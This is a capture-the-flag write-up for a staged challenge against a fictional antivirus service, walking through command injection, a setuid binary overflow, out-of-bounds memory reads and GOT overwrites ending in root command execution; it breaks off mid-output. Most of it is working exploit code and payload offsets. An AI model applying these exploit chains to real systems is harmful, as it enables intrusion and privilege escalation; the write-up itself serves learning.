Our company developed a unique Linux binary called “cat”.
We recently discovered that our competitors from the Antivirus company VirusExpress are blocking our cat binary. It is now signed as a virus. Word is that you are a badass security researcher. We need you to infilitrate their server and empty their database. Download cat
kileak score:
0xffff/0xfff
You won! You badass researcher. To collect your T19 challenge coin, please send the flags in an email to ctf@twistlock.com Good job!
Set the same cookie (t19userid) for the target and attack: Virus.Express
Stumbled over the T19 challenge from Twistlock last week and really enjoyed it, so I decided to do a writeup for the trip through the “official” challenges and also for getting the hidden flag.
Challenge 1: Get started with the json api and get access to the remote server
Attachment: xpl1.py
We were given a user cookie and the virus express page as our target.
Setting the cookie as described in the challenge, gets us to the virus express web interface.
We can upload a file there, for example the provided cat
file, which will be shown as a virus. Though, not much to do with this functionality for now, but the source of the page points us to the next step.
<!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -->
<!-- Developer TODO: 1. Need more clouds for malware scanning 2. Add documentation on the experimental JSON API on /api -->
<!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -->
So it seems there’s a backend service, with which we can communicate through /api
. Since I didn’t want to bother too much with that api through a browser, I set up a short python script for this, also being more flexible on later steps.
#!/usr/bin/python
from pwn import *
import requests
import json
BASEURL = "http://virus.express/api"
SESSION = requests.Session()
COOKIE = {"t19userid":"560f5a93abc5e6439c60ad3725e6556b"}
def Post(url, data):
return SESSION.post(format(url),data, cookies=COOKIE).text
def exploit():
while True:
inp = raw_input()
print Post(BASEURL, inp)
return
if __name__ == "__main__":
exploit()
Armed with this, we can try to explore the api and find out more about its usage, since no info about it was available at that point.
$ python xpl_ex1.py
abc
{"success":false,"response":"Please deliver JSON application only."}
Ok, so it expects application/json
data.
Let’s update the session header accordingly
SESSION.headers.update({ "Content-Type" : "application/json"})
Trying it again will now result in an error page, since the application wasn’t able to parse our input, giving us some additional information.
From line 52 we can work out, how the input json has to be built up:
{
"file" :
{
"hash" : "hash",
"name": "filename"
},
"cmd" : "command"
}
Updating the script to send proper json payloads to the service:
def execute_cmd(cmd):
js =
{
"file" :
{
"hash" : "abc",
"name": "filename"
},
"cmd" : cmd
}
print Post(BASEURL, json.dumps(js))
With this, we’ll get through the parsing, but end up with another error, this time in the is_virus
function.
Ok, the hash length has to be divisible by 4, and if no cmd
is specified, /home/ben/dbclient
will be executed, which probably compares the hashes to the internal “database”, but what’s more interesting is line 8:
`#{cmd} "#{encoded}" "#{filename}"`
Easy command injection :)
So, if we define a valid hash, we can execute any command as the user, which is running the script on serverside.
$ python xpl_ex1.py
id
{"success":true,"response":"uid=1000(rubyist) gid=1000(rubyist) groups=1000(rubyist)\n"}
ls -al /home/rubyist
{"success":true,"response":"
total 40
drwxr-xr-x 1 rubyist rubyist 4096 Dec 26 15:26 .
drwxr-xr-x 1 root root 4096 Dec 26 15:26 ..
-rw-r--r-- 1 rubyist rubyist 220 May 15 2017 .bash_logout
-rw-r--r-- 1 rubyist rubyist 3526 May 15 2017 .bashrc
-r----S--- 1 rubyist rubyist 33 Dec 17 13:24 .flag.apprentice
-rw-r--r-- 1 rubyist rubyist 675 May 15 2017 .profile
lrwxrwxrwx 1 rubyist rubyist 18 Dec 26 15:26 dbclient -> /home/ben/dbclient
-rwxrwxr-x 1 rubyist rubyist 1297 Dec 26 12:48 http.rb
-rw-rw-r-- 1 rubyist rubyist 259 Dec 18 13:23 plug.rb
drwxrwxr-x 2 rubyist rubyist 4096 Dec 20 10:56 views
w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
cat /home/rubyist/.flag.apprentice
{"success":true,"response":"flag{nice____________________gg} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
Ok, that wasn’t too bad, and got us the first flag. After dropping it on the challenge page, the next assignment is to leak the dbclient
.
Challenge 2 : Leaking dbclient and get access to user ben
Since we now have kind of a shell to the system, we won’t have to mess around with web stuff anymore. Leaking dbclient
is pretty forward, just cat
it, base64
encode it and decode it again locally.
def leak_dbclient():
response = execute_cmd("cat /home/rubyist/dbclient | base64")
response = response.split(",")[1].split(":")[1].split('"')[1]
with open("dbclient", "wb") as f:
f.write(base64.b64decode(response))
Finally a binary to work with, things start to get interesting. Note, that the dbclient
runs as setuid and belongs to the user ben
. So exploiting it, will give us access to the ben
user.
But first, let’s see how the binary works, and what we could do with it.
int main(int argc, char **argv, char **envp)
{
char dest[40];
void *ptr;
void (*hashfunc_ptr)(char*) = -1;
int server_response;
if ( argc == 1 )
{
if ( ping_server() )
puts("client: server is live.");
else
puts("client: server is bad.");
}
else if ( argc == 3 )
{
if ( validate_arg1(argv[1], strlen(argv[1])) )
{
strcpy(&dest, argv[1]); // Buffer overflow possible
hashfuncptr &= hash_func; // Strange way of assigning a function pointer ;)
ptr = hashfunc_ptr(&dest);
if ( ptr )
{
if ( ask_server_if_virus(ptr, &server_response) == 1 )
{
if ( server_response )
printf("true");
else
printf("false");
free(ptr);
}
else
{
fwrite("client server communication failed\n", 1, 0x23, stderr);
}
}
else
{
fwrite("client hash failed\n", 1, 0x13, stderr);
}
}
else
{
fwrite("client bad hash\n", 1, 0x10, stderr);
}
}
else
{
fwrite("client [hash] [filename]\n", 1uLL, 0x19uLL, stderr);
result = 1LL;
}
return result;
}
Though I reversed the complete binary at this point already, understanding how the protocol works and the client communicates with the server isn’t needed for stage 2, so let’s ignore it for now.
There’s an obvious buffer overflow in handling the arguments, which can be used to overwrite the hashfuncptr
. Since the binary uses a bit-and for “assigning” the hash_func
, we’re able to forge the hashfuncptr
to call an almost arbitrary address in the binary instead (which conveniently will get our input as parameter).
Seeing that the binary contains __libc_system.plt
, this is an easy target to get code execution. We can overflow dest
to overwrite hashfuncptr
, which should then get and
ed, which results in pointing to __libc_system.plt
.
Only one small obstacle left to overcome:
char HASH_CHARSET[] = "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#";
int validate_arg1(char *arg1, unsigned int len)
{
int valid;
if ( len % 5 )
return 0;
for (int i = 0; i < len; ++i)
{
valid = 0;
for (int j = 0; j <= 84; ++j)
{
if (arg1[i] == HASH_CHARSET[j]) // check for valid charset
{
valid = 1;
break;
}
}
if ( !valid ) // no valid character found
return 0;
}
return 1;
}
This means our complete payload must consist only of characters from HASH_CHARSET
. Thus we cannot just and
the address of __libc_system.plt
but have to find some other chars from this charset to result in the same value.
Another issue is, that we are not allowed to use any whitespaces, which constraints us in the commands, we’ll be able to execute with system
later on. I got around this by preparing a script in /tmp
with the command execution from stage 1 and then just execute this script via dbclient
(which will then be run as ben
, since it’s setuid).
For overwriting hashfunc_ptr
, we can just use 0x4141414141432a68
consisting only of valid chars (and will result in 0x400a60
).
def execute_as_ben(cmd):
payload = "/tmp/s&&"
payload += "#"*(48-len(payload))
payload += p64(0x4141414141432a68) # hashfunc_ptr
payload = payload.ljust(80, "A") # align to be divisble by 4
execute_cmd('echo "#/bin/sh\n%s" > /tmp/s' % cmd)
execute_cmd("chmod +x /tmp/s")
response = execute_cmd('/home/ben/dbclient "%s" abc' % payload)
execute_cmd("rm /tmp/s")
return response
...
execute_as_ben("cat /home/ben/.flag.advanced")
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{welcomeh0me...$$$} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
Ok, second flag done, on to the next assignment. This time, they ask us to “delete” the database of virus express.
Challenge 3 : Leak server binary and exploit it to delete the database
Attachment: srv_copy libc.so.6 xpl_client.c xpl3.py
First, we’ll need to leak the server binary. Fortunately ben
has a copy from it, though it’s only readable by him.
> ls -al /home/ben
total 60
drwxr-xr-x 1 ben ben 4096 Jan 15 16:19 .
drwxr-xr-x 1 root root 4096 Dec 26 15:26 ..
-rw-r--r-- 1 ben ben 220 May 15 2017 .bash_logout
-rw-r--r-- 1 ben ben 3526 May 15 2017 .bashrc
-r----S--- 1 ben ben 24 Nov 29 15:00 .flag.advanced
-rw-r--r-- 1 ben ben 675 May 15 2017 .profile
-rws---r-x 1 ben ben 14872 Dec 17 18:01 dbclient
-r-------- 1 ben ben 14552 Jan 15 16:19 srv_copy
Well, we already have code execution as user ben
, so we can do something similar to stage2, just this time, we’ll be reading it with our second exploit through dbclient
.
def leak_srv():
response = execute_as_ben("cat /home/ben/srv_copy | base64")
response = response.split(",")[1].split(":")[1].split('"')[1]
with open("srv_copy", "wb") as f:
f.write(base64.b64decode(response))
While at it, I also leaked libc from the remote system to get a better idea of the setup (this can be done with the stage 1 exploit, since it’s readable by everyone).
GNU C Library (Debian GLIBC 2.24-11+deb9u3) stable release version 2.24, by Roland McGrath et al.
From stage 2 I already had a good idea of the protocol used in communication between client and server, which is now needed for stage 3.
We’ll be building our own client to have more control over the packages, which will be sent to the server.
Let’s start with the package structure itself. For this we can take a look at how the client sends a request package to the server.
int send_to_socket(int socketfd, char action, char *payload)
{
char s[269];
memset(s, 0, 0x10DuLL);
// Set package action
s[13] = action;
// Write package header
*(int*)&s[8] = 0x37374144;
s[12] = 0x37;
if ( payload )
memcpy(&s[14], payload, 255);
// Create checksum and write into package start
int res = adler32(0, 0, 0);
*(long*)s = adler32(res, (__int64)s, 0x10D);
// Send package to server
if ( write(socketfd, s, 0x10DuLL) == 0x10D )
return 1;
fwrite("proto: bad send to sock\n", 1, 0x18, stderr);
return 0;
}
From the respective offsets in the buffer, the package structure can be derived to something like this:
struct PackageContent {
char action;
char payload[255];
};
struct Package {
long checksum;
char header[5];
struct PackageContent content;
};
Won’t go through the complete reversing of the client and server communication now, but to sum it up
- The server creates a socket
secretSock
, on which he waits for connections - The client connects to the socket
secretSock
and sends a request package- Action 1: Ping
- Action 2: Check if entry (from payload) exists in server database
- Action 3: Read entry from index (specified in payload)
- Action 4: Check if db is empty (byte at
addr == 0x0
) and answer with flag, if it’s empty
With this, we can start writing our own client for communicating with the server.
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <zlib.h>
int sockfd;
struct PackageContent {
char action;
char payload[255];
};
struct Package {
long checksum;
char header[5];
struct PackageContent content;
};
void initConnection() {
char *socketName = "secretSock";
struct sockaddr addr;
// Create socket
sockfd = socket(1, 1, 0);
// Connect to socket
memset(&addr, 0, sizeof(struct sockaddr));
addr.sa_family = 1;
strncpy(addr.sa_data+1, socketName, strlen(socketName));
if (connect(sockfd, &addr, 0xd) == -1) {
printf("Error on socket connect\n");
exit(-1);
}
}
void sendPackage(struct Package* pkg, struct PackageContent* answer, char action, char *payload, unsigned int len) {
// Initialize package
memset(pkg, 0, sizeof(struct Package));
strcpy(pkg->header, "\x44\x41\x37\x37\x37"); // Set header
pkg->content.action = action; // set package action
memcpy(pkg->content.payload, payload, len); // Set package payload
// Create package checksum
int res = adler32(0, 0, 0);
pkg->checksum = adler32(res, (const char*)pkg, 0x10d);
// Send to server
write(sockfd, pkg, 0x10d);
// Read server response
memset(answer, 0, sizeof(struct PackageContent));
read(sockfd, answer, 0x10d);
}
int main(int argc, char* argv[]) {
struct Package pkg;
struct PackageContent answer;
initConnection();
sendPackage(&pkg, &answer, 1, NULL, 0);
puts((char*)&answer);
}
Back to reversing the server binary. When it receives a package from the client with a hash, it will mmap
the database file into memory and check, if it can find the hash from the received package in it:
int mmap_database()
{
if ( addr )
return 1;
int fd = open("/opt/db/base", 0);
...
len = stat_buf.st_size;
addr = (char *)mmap(0, stat_buf.st_size, 3, 2, fd, 0);
...
}
int check_entry(const char *package_content, void *buffer)
{
char dest[32];
long offset;
char *tmp_buffer;
mmap_database();
offset = 0;
tmp_buffer = buffer;
strcpy(dest, package_content); // Another buffer overflow
do
{
strcpy((char *)(tmp_buffer & 0xFFFFFFFFFFFFFFF0), &addr[offset]);
if ( !memcmp(dest, tmp_buffer, 0x20) )
return 1;
offset += 33;
}
while (addr[offset]);
return 0;
}
If the database isn’t already mapped, it will open the file /opt/db/base
and maps its content to a memory region. After that, it will copy our package content into a buffer and then search through the mapped area, comparing the found hashes with our payload.
But by copying the package content into a buffer of only 32 bytes size, we have another overflow, which allows us to overwrite for one the offset
, at which it looks for the hash to compare and also the tmp_buffer
pointer, into which it will copy the hash.
Since the offset isn’t checked for correct range, we can use this to read outside of the mapped region. And by overwriting tmp_buffer
, we can write that value to an arbitrary address. Though, since strcpy
is used, no null bytes are allowed in our payload, so we cannot use completely arbitrary values for overwriting offset
(or we’ll lose the possibility to overwrite tmp_buffer
).
Since I asummed aslr
would be active on the server, we’d need some leaks before being able to do something useful with this (which turned out as a wrong assumption later on, but well…).
Let’s see what action 3
will do:
if ( pkg.content.action == 3 )
{
char *response = read_from_index(*(long*)pkg.content.payload);
send_to_client(listener_socket, 1, response);
}
...
char * read_from_index(long offset)
{
return &addr[33 * ofset];
}
Again, no range check, which means we can also specify out of bounds value here.
Whilst it might not be too obvious: if this is the first request to the server, addr
won’t be initialized (thus it’s 0x0
), so we can do direct reads with it, without knowing the address of the mapped region (which would be a problem with aslr
).
I used that to leak bss
, so I’d have at least some libc addresses at hand.
void setval(char *buffer, long offset, long value) {
*(unsigned long*)(buffer+offset) = value;
}
void read_index(struct Package *pkg, struct PackageContent *answer, unsigned long idx) {
char buffer[8] = {0};
setval(buffer, 0, idx);
sendPackage(pkg, answer, 3, buffer, 8);
}
void crash_service(struct Package *pkg, struct PackageContent *answer) {
char buffer[256];
memset(buffer, 0x41, 256);
sendPackage(pkg, answer, 2, buffer, 256);
}
long get_from_offset(struct PackageContent *answer, long offset) {
return *((long*)(answer->payload + offset));
}
void leak_bss(struct Package *pkg, struct PackageContent *answer) {
read_index(pkg, answer, 0x603000/0x21);
for(int i=0; i<200; i+=8) {
printf("%p | ", (void*)get_from_offset(answer, i + 2));
}
}
int main(int argc, char* argv[]) {
struct Package pkg;
struct PackageContent answer;
initConnection();
leak_bss(&pkg, &answer);
}
Since the database must not be initialized to use the direct leak, crash_service
can be used to restart the service to make sure addr
is not initialized.
Testing it locally gave:
$ gcc xpl_client.c -lz -o xpl && ./xpl
(nil) | (nil) | 0x602e18 | 0x7ffff7ffe170 | 0x7ffff7def210 | 0x7ffff78b47a0 | 0x4009b6 | 0x7ffff7888f90 |
0x7ffff78fb720 | 0x7ffff78a0650 | 0x4009f6 | 0x400a06 | 0x7ffff79491d0 | 0x7ffff78fbce0 | 0x7ffff78fb6c0 |
0x7ffff78401f0 | 0x400a56 | 0x400a66 | 0x7ffff7bc12c0 | 0x400a86 | 0x7ffff79098c0 | 0x400aa6 | 0x7ffff79097a0
| 0x400ac6 | 0x7ffff7909740 |
For testing on the server, I adjusted the exploit script, so it will upload our compiled exploit to the server (similar to leaking in the first stage, just the other way round now) and execute it on the server.
def execute_on_server(srcfile):
with open(srcfile, "r") as f:
data = f.read()
bdata = base64.b64encode(data)
execute_cmd('echo "%s" > /tmp/b64src' % bdata)
execute_cmd('cat /tmp/b64src | base64 -d > /tmp/b64out')
execute_cmd('chmod +x /tmp/b64out')
execute_cmd("/tmp/b64out")
execute_cmd("rm /tmp/b64src")
execute_cmd("rm /tmp/b64out")
def exploit():
SESSION.headers.update({ "Content-Type" : "application/json"})
os.system("gcc xpl_client.c -lz -o xpl")
execute_on_server("xpl")
return
$ python xpl_ex3.py
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"(nil) | (nil) | 0x602e18 | 0x7ffff7ffe170 | 0x7ffff7def210 | 0x7ffff78b47a0 | 0x4009b6 |
0x4009c6 | 0x4009d6 | 0x7ffff78a0650 | 0x4009f6 | 0x400a06 | 0x7ffff7949230 | 0x7ffff78fbce0 | 0x7ffff78fb6c0 |
0x7ffff78401f0 | 0x400a56 | 0x400a66 | 0x7ffff7bc12c0 | 0x400a86 | 0x7ffff79098c0 | 0x400aa6 | 0x7ffff79097a0 |
0x400ac6 | 0x7ffff7909740 | w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
Wait, what? There’s no aslr
active on the server…
Ok, this should make it easier to exploit it via check_entry
. Though the mapped region on the remote server was off by 0x1000
to my local one, I found it at 0x00007ffff7ff3000
after some more leaking. With this knowledge, we can calculate the proper offsets to have an somewhat write-what-where.
Since the mapped region address contained a null byte, it wasn’t usable in the payload, since strcpy
would just stop at that null byte (at least, that’s what I was thinking at that point).
So, my first approach was to overwrite addr
itself to point to some null pointer instead of the database string, but that turned out quite difficult, since
strcpy((char *)(tmp_buffer & 0xFFFFFFFFFFFFFFF0), &addr[offset]);
would align that strcpy
. Since addr
was located at 0x603108
we would need an 8 byte string followed by a valid address (since we could only copy to 0x603100
).
While wasting some hours on this approach (which should pay off for the next stage though), it struck me, that exactly this & 0xF0
which harrassed me the whole time, can be used to write to the mapped region. Since it sets the LSB to 0
, we can just pass an offset there and it will be set back to the start of the mapped area (facepalm moment…).
This means, we’d just have to find some address containing a null byte and copy it to the mapped region. Since strcpy
terminates the copy with a null byte, it would just overwrite the byte at addr
with 0x0.
Piece of cake compared to the initial approach.
int main(int argc, char* argv[]) {
struct Package pkg;
struct PackageContent answer;
initConnection();
// Initialize database
sendPackage(&pkg, &answer, 4, NULL, 0);
// Send package to overwrite LSB at mapped region
char buffer[256] = {0};
memset(buffer, 0x41, 32);
setval(buffer, 32, 0xffffffffffbc66c0); // Negative offset from mapped region pointing into libc bss
setval(buffer, 40, 0x7ffff7ff3004); // Destination address, will be cropped to 0x7ffff7ff3000
sendPackage(&pkg, &answer, 2, buffer, 256);
// Request empty db check
sendPackage(&pkg, &answer, 4, NULL, 0);
puts((char*)answer.payload);
}
$ python xpl_ex3.py
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{twistl0ck_fin4l_fl4g_!!!} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
The final flag, we arrived at the end? At that point, it got quite late and I had to get some sleep.
Just to notice the next morning, vakzz has reached 0xffff
. Props to vakzz for digging deeper :)
Challenge 4: Get root rce and find the hidden flag
Attachment: xpl_client4.c xpl4.py
From my first approach, it was presumably possible to gain rce, if one could get a real arbitrary write and not just reusing available data.
It took some time to find all pieces together, but let’s start with check_entry
again. The only possibility to get an arbitrary write would be, if we could somehow use our package content as a source for the strcpy
.
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe250 → 0x0000000000000000
$rbx : 0x0
$rcx : 0x0
$rdx : 0x00007fffffffe2ce → 0x4141414141414141 ("AAAAAAAA"?)
$rsp : 0x00007fffffffe240 → 0x0000000000603120 → 0x0000000000000000
$rbp : 0x00007fffffffe290 → 0x00007fffffffe3e0 → 0x0000000000401980 → push r15
$rsi : 0x00007fffffffe2ce → 0x4141414141414141 ("AAAAAAAA"?)
$rdi : 0x00007fffffffe250 → 0x0000000000000000
$rip : 0x0000000000400e53 → call 0x4009b0 <strcpy@plt>
$r8 : 0x13d2
$r9 : 0x13d2
$r10 : 0x00007fffffffe3cd → 0xffffffe4c0000000
$r11 : 0x13d2
$r12 : 0x0000000000400b20 → xor ebp, ebp
$r13 : 0x00007fffffffe4c0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400e48 mov eax, 0xc0458d48
0x400e4d mov rsi, rdx
0x400e50 mov rdi, rax
→ 0x400e53 call 0x4009b0 <strcpy@plt>
↳ 0x4009b0 <strcpy@plt+0> jmp QWORD PTR [rip+0x20266a] # 0x603020
0x4009b6 <strcpy@plt+6> push 0x1
0x4009bb <strcpy@plt+11> jmp 0x400990
0x4009c0 <puts@plt+0> jmp QWORD PTR [rip+0x202662] # 0x603028
0x4009c6 <puts@plt+6> push 0x2
0x4009cb <puts@plt+11> jmp 0x400990
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe240│+0x0000: 0x0000000000603120 → 0x0000000000000000 ← $rsp
0x00007fffffffe248│+0x0008: 0x00007fffffffe2ce → 0x4141414141414141
0x00007fffffffe250│+0x0010: 0x0000000000000000 ← $rax, $rdi
0x00007fffffffe258│+0x0018: 0x0000000000401927 → mov QWORD PTR [rbp-0x10], rax
0x00007fffffffe260│+0x0020: 0x00007fffffffe2c0 → 0x0000000000000000
0x00007fffffffe268│+0x0028: 0x0000000400000000
─────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
strcpy@plt (
$rdi = 0x00007fffffffe250 → 0x0000000000000000,
$rsi = 0x00007fffffffe2ce → 0x4141414141414141,
$rdx = 0x00007fffffffe2ce → 0x4141414141414141,
$rcx = 0x0000000000000000
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── extra ────
[+] Hit breakpoint *0x400e53 (copy_one)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x0000000000400e53 in ?? ()
gef➤
gef➤ x/30gx $rsp
0x7fffffffe240: 0x0000000000603120 0x00007fffffffe2ce
0x7fffffffe250: 0x0000000000000000 0x0000000000401927
0x7fffffffe260: 0x00007fffffffe2c0 0x0000000400000000
0x7fffffffe270: 0x0000000000000000 0x0000000000603120 <= offset / destptr
0x7fffffffe280: 0x00000000b1ea13d2 0x322ae0f85f7e0d00
0x7fffffffe290: 0x00007fffffffe3e0 0x0000000000401117
0x7fffffffe2a0: 0x00007fffffffe4c8 0x0000000100000000
0x7fffffffe2b0: 0x0000000000000000 0x0000000000000004
0x7fffffffe2c0: 0x0000000000000000 0x4141023737374144 <= src package
0x7fffffffe2d0: 0x4141414141414141 0x4141414141414141
0x7fffffffe2e0: 0x4141414141414141 0x66c0414141414141
0x7fffffffe2f0: 0x3004ffffffffffbc 0x000000007ffff7ff
0x7fffffffe300: 0x0000000000000000 0x0000000000000000
0x7fffffffe310: 0x0000000000000000 0x0000000000000000
0x7fffffffe320: 0x0000000000000000 0x0000000000000000
gef➤
I tried to use a negative offset to wrap around memory space to access the values from my payload, but it turned out, that it wasn’t possible to land in the range of the stack (at least it didn’t work out for me).
So, back to overwriting addr
, maybe get a better starting point, from which we could work towards the stack.
From my initial approach on stage 3 I remembered, that I stumbled over an 8 byte string there, followed by a stack address. But the application segfaulted, when using it, since memcmp
found a string at that address and thus check_entry
continued walking over the stack until it went out of the mapped area, at which point I rejected it earlier.
I decided to give it another try
gef➤ x/10gx 0x7ffff7bbe2f0
0x7ffff7bbe2f0 <__vdso_getcpu>: 0x80e5accf841b0796 0x00007fffffffe4c8
0x7ffff7bbe300 <__libc_argc>: 0x0000000000000001 0x0000000000000000
0x7ffff7bbe310 <__gconv_alias_db>: 0x0000000000000000 0x0000000000000000
0x7ffff7bbe320 <__gconv_modules_db>: 0x0000000000000000 0x0000000000000000
0x7ffff7bbe330 <__gconv_path_envvar>: 0x0000000000000000 0x0000000000000000
Validated that this address also looked similar remote (it was just a bit off due to different stack layout).
The application crashed again, since memcmp
returned a value != 0
… So, why not overwrite memcmp
with something, that wouldn’t do that. After some searching for good reference addresses, I found the got
table in /lib/x86_64-linux-gnu/libz.so.1.2.8
at 0x7ffff7dd8000
.
This address is in a good range for a negative offset from the mapped db region, and it contains a pointer to malloc.plt
.
Passing a stack address as a parameter will result in malloc
failing to allocate memory and always just return 0
. Perfect…
long db_addr = 0x00007ffff7ff3000;
int main(int argc, char* argv[]) {
struct Package pkg;
struct PackageContent answer;
initConnection();
// Initialize database
sendPackage(&pkg, &answer, 4, NULL, 0);
char buffer[256] = {0};
// Overwrite memcmp with malloc
printf("[+] Overwrite memcmp with malloc\n");
memset(buffer, 0x41, 256);
setval(buffer, 32, 0x7ffff7dd80f8 - db_addr); // Offset to pointer to malloc.plt in libz
setval(buffer, 40, 0x603070); // memcmp got
sendPackage(&pkg, &answer, 2, buffer, 256);
}
Now, we can safely copy the address from vdso_getcpu
to 0x603100
, which will overwrite the addr
ptr with a stack pointer. And since memcmp
will now return 0
, it will exit check_entry
properly, leaving us with a new base address.
// Overwrite addr pointer with a stack pointer
printf("[+] Overwrite db pointer\n");
memset(buffer, 0x41, 256);
setval(buffer, 32, 0x7ffff7bbe2f0 - db_addr); // Offset to vdso_getcpu
setval(buffer, 40, 0x603108); // addr
sendPackage(&pkg, &answer, 2, buffer, 256);
db_addr = stack_addr; // Base address has now changed
addr
will now point to the stack address stored at vsdo_getcpu
. Also leaked it before overwriting addr
and then updated db_addr
accordingly afterwards to calculate with the correct new base address from then on.
// Leak stack address from vdso_getcpu
read_index(pkg, answer, ((0x7ffff7bbe2f0 - db_addr) / 0x21)-1);
long stack_addr = get_from_offset(answer, 0x10);
We can now place an arbitrary value in our payload, which won’t be copied by strcpy
, but will be available on the stack (in our source package, the server received). Since the new base address now points behind our package payload on the stack, we can easily address values from it with a negative offset.
void write_value(struct Package *pkg, struct PackageContent *answer, long address, long value, char *payload) {
char buffer[256] = {0}
memset(buffer, 0x20, 256);
memcpy(buffer, payload, strlen(payload)); // Copy prefix payload into package (command to execute)
setval(buffer, 32, stack_addr - 0x1c0 - db_addr); // Offset to the value in our payload
setval(buffer, 40, address); // Destination address
setval(buffer, 58, value); // Value in payload
sendPackage(pkg, answer, 2, buffer, 256);
}
With this we now have an arbitrary write-what-where now and I already wanted to start writing a ropchain, when I realized we’re already at the finish line. We can just overwrite memcmp
again, but this time with system
, resulting in rce.
Since memcmp
will be called in check_entry
with our payload as a parameter and the application will crash again after that, because system
will return a non null value, we also have to provide the command to execute directly in that payload.
Also, we won’t be able to retrieve the output from our command, since the application will crash before sending any response package. But we can get around this by just piping the output into /tmp
and then read it via the stage1 exploit.
printf("[+] Execute command");
long system = 0x7ffff785f480;
char cmd[256] = {0};
if (argc > 1) {
sprintf(cmd, "%s > /tmp/output;#", argv[1]);
}
write_value(&pkg, &answer, 0x603070, system, cmd);
Since the server is run by root
all our commands will also be executed in root
context, so we have a meta-root-shell now:
id
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandid > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"uid=0(root) gid=0(root) groups=0(root) w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
ls -al /opt/db
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandls -al /opt/db > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"total 24
dr-x-----T 1 root root 4096 Dec 26 15:26 .
